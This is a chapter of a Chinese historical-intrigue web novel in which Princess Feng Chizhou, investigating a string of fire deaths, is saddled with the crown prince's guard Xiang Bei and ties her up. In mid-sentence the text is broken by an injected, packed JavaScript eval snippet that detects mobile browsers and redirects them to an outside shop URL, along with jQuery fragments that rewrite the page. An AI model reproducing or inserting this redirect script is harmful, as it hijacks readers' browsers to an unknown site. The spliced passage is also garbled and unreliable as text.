然而侍女还没找着，身处北镇抚司的风池舟就又收到了一个消息。
——狄阚死了。
同样死于家中书房，同样死于大火。大火同样烧了半个时辰才灭，甚至起火时间同样为午时。
种种巧合难以忽略。
只是不知究竟为同一凶手还是模仿作案。
太子还请人来邀她平江楼小叙。宫里又下了后日腊八节宫宴的帖子。
风池舟觉得自己就算是个八爪鱼也抓不过来。
风池舟疲惫地走进平江楼天字一号房，定睛一看，屋里除了太子，还有两人——
宁远和向北。
太子今日的态度倒是要比上次好很多，他先是指了指宁远：“这位宁御史想必就不用我多介绍了，你们已经共事过一次了。”
又指了指向北：“这位是向北。听她说你们上次刘尚书府上已经交过手了？”
风池舟眼眸微眯，神情中闪过一丝狐疑：“是前尚书了，他现在就是个死人。所以他其实根本不是庆王的人。”
太子折扇一开，被风池舟那样盯着也没有感觉到丝毫不自在，甚至坐姿更放肆悠哉了：“啊呀，你看这事儿搞得，我忘了提前告诉你一声了。”
怪不得宁远当初以太子名义去试图接近刘春时他丝毫不为所动。
风池舟没再追问赌场与拐卖幼女一事是否也与太子有关——依照太子品性，既然确定了刘春是他的人，那这两件事几乎是板上钉钉。
她拼力忍住自己的拳头，冷冷盯着太子，唇角勉强裂出一个微笑。在漠北被养出来的杀气此刻已经隐隐外露：“殿下当时既然叫了向北来阻止我，何不直接像今日这般派人来给我传信？还是那句话，殿下既不信我，又何必与我合作？”
“此话差矣。长平，我自是信你的，毕竟我知道你只是想回西北，三弟那个蠢货单独在京城里可是难有什么好下场。可你自幼与他相熟，就连向我投诚时都要求我定要护他周全。我虽信你，却也深知人心隔肚皮的道理，有所提防也是人之常情。”
阴险、狡诈、老狐狸。
风池舟每次跟太子对上心里都这么吐槽。
这人就跟吐着信子的毒蛇一样，看起来华丽漂亮，实则手一摸上去就是一片阴凉粘腻，最重要的是，有毒。
但是她觉得太子不只是有毒，还有病。
他自打年少时落过一次水之后就变成了这样。当时还是自己把他救上来的，结果他刚醒就掐脖子，要不是自己力气大给他掰扯下来了，现在早就投胎转世了！
要不是某人说她现在不便出面，自己至于在这儿虚与委蛇？
可是心里想想就算了，路是自己选的。她自己要表面帮庆王，暗地里跟着太子，实则东家另有其人的。
换个角度看，太子也没怀疑错不是？
宁远在一旁看着风池舟咬牙切齿，又心疼又无奈。
风池舟让他投靠太子，可是太子不信风池舟，自然也不信他。
但现在也不是暴露自己和风池舟是一条船上的人的时候，只能在旁边默默看着，打碎了牙往独自里咽。
然后就感觉自己挨了一记眼刀，他顺势看去，发现是太子带来的那位名唤“向北”的暗卫在瞪自己。
宁远还在感慨自己怎么莫名其妙的躺着也中刀，风池舟就已经敛去杀气接着开口了：“殿下所言甚是。说到底长平也就是给殿下做事的，只要对殿下有用就行，至于其他，我不多问。”
太子折扇一合，喜笑颜开：“诶，话也不是这么说的——不过呢，你明白这个理就好。”
他又拿扇子指了指向北的方向，道：“我今早听闻狄阚狄大人也去世了，作案手法与吴十烟相似。此案父皇交由你彻查，你说那凶手要是盯上你了要对你下手怎么办，这不我特地——”
“不劳太子殿下费心，我身手好得很。”
“知道你勇冠三军，百里之外可取敌方首级，不过人总有疏漏的时候，所以我特地将我的暗卫交给你，暗中护你，如何？”
陈五王六陆七！你们快来啊——
风池舟皮笑肉不笑，却深知无论心中如何祈祷也没有用处。
如果刘春案当时太子提议给她个暗卫的话，风池舟还能出言拒绝：陛下已经派遣锦衣卫相护，不劳殿下费心。
可偏偏此番昌元帝没有在她身边放锦衣卫。向北还是个女子，也没有“女女授受不亲”的道理。
真是打得一手好算盘。
比起风池舟，太子才是皮笑肉不笑的一把好手，知道她找不到理由拒绝，也不着急，就安安静静等着她开口答应。
“如此，那便多谢殿下美意了。”
风池舟推开门走出去，长街覆雪，入眼一片雪白，延伸至道路尽头。
路上没有什么行人，向北就紧跟在她身后不说话，还是风池舟先捅破了这层窗户纸：“咱们以前是不是见过。”
“没有。”
“当真没有？那你上次为何说我“不减当年”？不减哪年？”风池舟吊儿郎当逗她。
其实她只是好奇向北这个人。
她冷淡、惜字如金、身手极好，是太子的人。可这些都是表面的。
上次一见，风池舟大可一刀刺下，永绝后患。可向北对她虽有敌意却无杀意，于是她也就没落刀。
最奇怪的是，风池舟对她有一股说不清道不明的熟悉感。
不是长相，不是声音。
可向北却不理她了。
“说句话呗向北。话说你为什么叫这个名字啊？是你自己取得名字吗？”
向北似乎不胜其烦，冷冷开口，依旧惜字如金：“不是。”
“你母亲取的吗？这个名字真特别。”
“嗯。”
“我真觉得咱俩见过。我总觉得不是第一次见你。”
“第二次。”
“......”风池舟自认不是特别健谈的人，此刻有些力竭：“我是说上次......”
“错觉。”
“诶，你多大了，是哪里人啊？”
问道这里，风池舟明显感觉到向北顿了一下才说：“十九，济州。”
“我小时候还去过济州呢，说不定咱俩真见过。”
“没有。”
在太子那里耽搁了半天，风池舟带着向北回北镇抚司的时候，毫不意外收获了一堆目光。
“郡主今天怎么带人来了？”
“少见多怪，郡主前一阵都带何姑娘来的——诶？”
“新人？没见过啊。殿下给点银子，不然可得小心我告诉何姑娘去。”
最后一句话是陈五说的。
王六和陆七最近都有任务，陈五赋闲在北镇抚司，便自请来跟着查案子。
风池舟看看这群锦衣卫，又看看紧跟在她身后板着脸未执一言的向北，一个坏主意涌上心头。
只见她轻挑眉梢，勾起唇角：“这是我从云州带回来的副将，怎么着，谁想跟她打一架？”
从云州带回来的副将。
风池舟在诈她。这是向北的第一反应。
她眸孔瞬间紧缩，盯着人群里的风池舟——
正
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351355|199605||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肆意大笑着，笑话那些锦衣卫们怎么真信了。
是了，怎么真就信了。风池舟一向是这般恶劣的性子，嘴里没一句实话。
什么诈不诈的，她也根本不会将自己放在眼里。
于是向北缓缓开口，声音像是浸了寒霜一般：“我是殿下的……侍女。”
陈五：“啊？殿下身边啥时候需要侍女了？”
风池舟随手塞给她五两银子：“行了行了，别难为我俩了，银子给你，去买零嘴吃吧！”
陈五爽快拿钱走人。
风池舟拍拍向北肩头，示意她往屋里走。
“话说在前头，吴十烟这案子蹊跷，太子既然将你交到我这儿，你的吃穿住行就要我负责了。我不需要你护我，可你也不能白吃我燕王府的粮食，得帮我干活啊。”
“……我有钱，不用你负责。”
“放心啊，我还没穷到要‘侍女’自己找地儿住、找饭吃的份儿上。”
“什么活。”
“你去帮我找一个人。”
“不行。太子说我要寸步不离地保护你。”
……行，没忽悠住。监视就监视，说那么好听干嘛。
风池舟也不跟她啰嗦，左手扳过她的左肩把她转了半圈背对着自己，右手合住她手腕扣在身后，膝盖顶住她腿弯，将她抵在了墙上。
“干不干活？不干活我就把你锁屋里。”
向北也不知道躲起来，就干巴巴硬戳戳杵在她身边，看着糟心不说，逢人就得介绍一下身份，怪麻烦的。
向北未答，右肩往后一怼，竟是硬生生靠着蛮力从风池舟的掣肘下逃出来了——一半。
风池舟膝盖一使劲，又将她抓回去：“你很厉害，但是实战经验太不丰富了。我再问一遍，干不干活？”
其实庆王有时候说风池舟像个兵痞子是没有说错的。
她从十岁起就长在军营，十四岁上战场，十七岁开始带兵。
她身上带着云州风沙黄土里磨练出来的莽，平时被隐藏得很好，可事物摆脱掌控时，这股劲儿就显露出来了。
可向北似乎并没被她唬住：“太子说，我要寸步不离地保护你。”
要不说风池舟最烦这种硬骨头呢。
又犟，又死心眼。
引得风池舟暴脾气都快上来了。她长呼一口气，将脾气压下去：“你帮我找人，我快点结案，你也好早日完工休息。这不两全其美，就同当日刘府一样，怎么当时乐意，如今不乐意了？”
“不一样。”
“哪不一样了？”
“当日太子只说让我在刘府护院，没说阻你，可今日太子说要我——”
“要你寸步不离保护我。没别的话了？我都会背了。油盐不进。太子给你什么好处？”
太子什么好处都没给她。
向北帮太子干一天事，太子给她二两银子，等价交易，童叟无欺。
太子不会交给她重要事情，她也不会对太子忠心不二。
她就是单纯的，不想顺风池舟心意。
就算她真的把自己绑起来……
“行了，你就老实在屋里呆着吧。”风池舟打完最后一个绳结，“以你的本事，一盏茶时间可以挣脱；以我的本事，保证你找到我时已经日落西山。”
向北还是一副冷冷的、铁骨铮铮的模样，只是淡淡地剜了风池舟一眼。
风池舟也没恼——自己将人绑上了，被瞪也是意料之中。
她挥挥手，朗声告别：“我走了啊向北，等你找着我，咱们一块儿打道回府吃晚饭啊！”